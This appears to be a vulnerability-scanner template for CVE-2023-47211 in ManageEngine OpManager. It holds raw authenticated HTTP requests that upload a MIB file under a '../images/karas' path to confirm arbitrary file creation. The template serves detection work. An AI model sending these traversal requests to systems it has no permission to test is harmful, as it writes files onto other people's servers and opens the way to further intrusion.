id: CVE-2023-47211

info:
  name: ManageEngine OpManager - Directory Traversal
  author: gy741
  severity: high
  description: |
    A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1851
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47211
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-47211
    cwe-id: CWE-22
    epss-score: 0.000610000
    epss-percentile: 0.238320000
    cpe: cpe:2.3:a:zohocorp:manageengine_firewall_analyzer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.title:"OpManager Plus"
  tags: cve,cve2023,zoho,manageengine,authenticated,traversal,lfi

http:
  - raw:
      - |
        POST /two_factor_auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{username}}&j_password={{password}}

      - |
        POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
        Host: {{Hostname}}
        X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
        Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262

        -----------------------------372334936941313273904263503262
        Content-Disposition: form-data; name="mibFile"; filename="karas.txt"
        Content-Type: text/plain

        ../images/karas DEFINITIONS ::= BEGIN


        IMPORTS
            enterprises
                FROM RFC1155-SMI;

        microsoft       OBJECT IDENTIFIER ::= { enterprises 311 }
        software        OBJECT IDENTIFIER ::= { microsoft 1 }
        systems         OBJECT IDENTIFIER ::= { software 1 }
        os              OBJECT IDENTIFIER ::= { systems 3 }
        windowsNT       OBJECT IDENTIFIER ::= { os 1 }
        windows         OBJECT IDENTIFIER ::= { os 2 }
        workstation     OBJECT IDENTIFIER ::= { windowsNT 1 }
        server          OBJECT IDENTIFIER ::= { windowsNT 2 }
        dc              OBJECT IDENTIFIER ::= { windowsNT 3 }

        END

        -----------------------------372334936941313273904263503262--

      - |
        POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
        Host: {{Hostname}}
        X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
        Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262

        -----------------------------372334936941313273904263503262
        Content-Disposition: form-data; name="mibFile"; filename="karas.txt"
        Content-Type: text/plain

        ../images/karas DEFINITIONS ::= BEGIN


        IMPORTS
            enterprises
                FROM RFC1155-SMI;

        microsoft       OBJECT IDENTIFIER ::= { enterprises 311 }
        software        OBJECT IDENTIFIER ::= { microsoft 1 }
        systems         OBJECT IDENTIFIER ::= { software 1 }
        os              OBJECT IDENTIFIER ::= { systems 3 }
        windowsNT       OBJECT IDENTIFIER ::= { os 1 }
        windows         OBJECT IDENTIFIER ::= { os 2 }
        workstation     OBJECT IDENTIFIER ::= { windowsNT 1 }
        server          OBJECT IDENTIFIER ::= { windowsNT 2 }
        dc              OBJECT IDENTIFIER ::= { windowsNT 3 }

        END

        -----------------------------372334936941313273904263503262--

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "MIBFile with same name already exists")'
        condition: and

    extractors:
      - type: regex
        name: x_zcsrf_token
        group: 1
        part: header
        regex:
          - 'Set-Cookie: opmcsrfcookie=([^;]{50,})'
        internal: true
# digest: 4a0a00473045022100d0db16ab8c46ac09c0a481c477c237858642663e12d9ddd8734591713833a2a7022026241af2d76fb1c58e6b80046a5ae5c231df7ac82ce627e4cc345bb039b87a09:922c64590222798bb761d5b6d8e72950